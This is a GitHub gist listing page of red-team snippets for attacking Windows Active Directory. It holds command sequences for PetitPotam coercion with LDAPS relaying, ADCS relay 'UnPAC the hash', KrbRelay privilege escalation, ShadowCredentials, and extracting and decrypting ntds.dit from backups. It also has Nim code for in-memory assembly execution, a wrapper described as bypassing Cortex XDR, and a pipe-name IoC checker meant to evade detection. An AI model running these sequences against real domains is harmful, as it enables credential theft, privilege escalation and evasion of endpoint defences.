Skip to content

Instantly share code, notes, and snippets.

View zimnyaa's full-sized avatar

zimnyaa

View GitHub Profile
@zimnyaa
zimnyaa / pyd-executeassembly.nim
Created January 12, 2022 14:19
Execute CLR assembly in the current process and redirect its output to file. Can be compiled and used as a Python module.
import winim/clr
import os
import nimpy
#Create dup handles
proc dup(oldfd: FileHandle): FileHandle {.importc, header: "unistd.h".}
proc dup2(oldfd: FileHandle, newfd: FileHandle): cint {.importc,
header: "unistd.h".}
@zimnyaa
zimnyaa / vhdx-on-smb-share.sh
Created January 19, 2022 12:02
Unpack .vhdx and decrypt ntds.dit (often used for backups and can be found on open SMB shares)
# runs on kali out-of-the-box
# this is not a ready-made script, more like a collection of commands
# QEMU mounting a drive
modprobe nbd max_part=16
qemu-nbd -c /dev/nbd0 filename.vhdx
# look for the second partition, usually where the FS resides
fdisk -l /dev/nbd0
@zimnyaa
zimnyaa / webclient-rbcd.sh
Last active April 1, 2024 03:45
PetitPotam WebDAV coerced authentication + LDAPS relaying
# setting up a DNS record in the domain, the zone I required was found in ForestDNSZones
python3 ./krbrelayx/dnstool.py -u DOMAIN\\zimnyaa -p <PASSWORD> -a add -r testrecord -d <MY_IP> --forest DC1.DOMAIN.local
# setting up a LDAPS relay to grant RBCD to computer account we have
# in my case MAQ = 0, so I escalated on a domain workstation and used it
sudo impacket-ntlmrelayx -smb2support -t ldaps://DC1.DOMAIN.local --http-port 8080 --delegate-access --escalate-user MYWS\$ --no-dump --no-acl --no-da
# PetitPotam to WebDAV with domain credentials (not patched)
# DO NOT use FQDN here
python3 PetitPotam.py -d DOMAIN.local -u zimnyaa -p <PASSWORD> testrecord@8080/a TARGETSERVER
@zimnyaa
zimnyaa / nim-assembly-wrapper.py
Created January 31, 2022 13:44
Used in an engagement to bypass Cortex XDR (use NO to break argument signatures). Was about to add unhooking/AMSI+ETW patches, but Nimpackt came out a day after, and you can just use that instead.
import sys, os
nim_template = """import winim/clr
import os
import strutils
proc execute(assembly_bytes: openarray[byte], args: openarray[string]) =
@zimnyaa
zimnyaa / hidewindow.nim
Created February 7, 2022 12:44
Hiding windows in a current process (code snippet from xyrella)
when defined hidewindow:
proc wndenumcallback(windowHandle: HWND, param: LPARAM): WINBOOL {.stdcall.} =
var process_id: DwORD
var wanted = cast[ptr DWORD](param)
GetWindowThreadProcessId(windowHandle, &process_id);
if process_id == wanted[]:
ShowWindow(windowHandle, SW_FORCEMINIMIZE)
return true
proc hidewindow() =
@zimnyaa
zimnyaa / unpac-adcs.sh
Created February 14, 2022 13:52
Command sequence I use for UnPAC the hash attacks with ADCS relaying
# setting up the relay. I avoid LLMNR/NBNS/DHCPv6/etc, as they're too noisy, and prefer either UNC path injection
# (somewhere custom), or NTLM hash farming
python3 ./ntlmrelayx.py -t http://ca1.contoso.com/certsrv/certfnsh.asp --adcs -smb2support
# ntlmrelayx ADCS outputs an unencrypted .pfx
cat lowpriv.b64 | base64 --decode > lowpriv.pfx
# dirkjanm PKINITTools, had to patch impacket previously to output AES session keys
python3 gettgtpkinit.py contoso.com/lowpriv -cert-pfx lowpriv.pfx lowpriv.ccache -v
@zimnyaa
zimnyaa / krbrelay-lpe.sh
Last active January 12, 2023 00:05
Command sequence to LPE on Win10 via KrbRelay (thanks cube0x0!)
# creating RPC server, relaying SYSTEM Kerberos authentication to LDAP
# we will use Shadow Credentials instead of RBCD to not rely on ms-ds-machineAccountQuota and be a little more stealthy
# clsid from cube0x0 KrbRelay repo
.\KrbRelay.exe -spn ldap/dc1.contoso.com -shadowcred -clsid 0bae55fc-479f-45c2-972e-e951be72c0c1
# KrbRelay outputs a Rubeus command for you, but you do not need to unPAC
Rubeus.exe asktgt /user:Client1$ /certificate:<cert> /password:"<pass>" /nowrap
# PTH to SMB is a spook, better request a ticket
.\Rubeus.exe s4u /ticket:<ticket> /impersonateuser:Install /self /altservice:cifs/client1.contoso.com /nowrap
@zimnyaa
zimnyaa / adcs-lab.ps1
Created February 14, 2022 14:31
Simple AutomatedLab ADCS lab setup.
New-LabDefinition -Name Lab1CA1 -DefaultVirtualizationEngine Azure
$azureDefaultLocation = 'Australia East' # CHANGETHIS
Add-LabAzureSubscription -DefaultLocationName $azureDefaultLocation
#defining default parameter values, as these ones are the same for all the machines
$PSDefaultParameterValues = @{
'Add-LabMachineDefinition:DomainName' = 'contoso.com'
@zimnyaa
zimnyaa / iocpipe.py
Created February 17, 2022 11:10
Check whether an SMB pipe name for pivoting is a known IoC
import re, sys
def rule_startswith(ioc_string):
def __match(pipename):
if pipename.startswith(ioc_string):
print("\tMATCH startswith({})".format(ioc_string))
return True
return False
return __match
@zimnyaa
zimnyaa / shadowunpac.sh
Created March 21, 2022 09:45
ShadowCredentials + unPAC the hash
# getting the current ticket
sliver (SESSION) > rubeus tgtdeleg /nowrap
echo <ticket> | base64 --decode > ticket.kirbi
ticketConverter.py ticket.kirbi ticket.ccache
# adding ms-KeyCredentialLink
proxychains4 python3 pywhisker/pywhisker.py -k -d "domain" --target "dcagent" -u "dadmin" --action "add" --filename cert
# requesting a ticket with ShadowCredentials
proxychains4 python3 gettgtpkinit.py -cert-pfx ../cert.pfx -pfx-pass pass -dc-ip dc1.domain domain/dcagent dcagent.ccache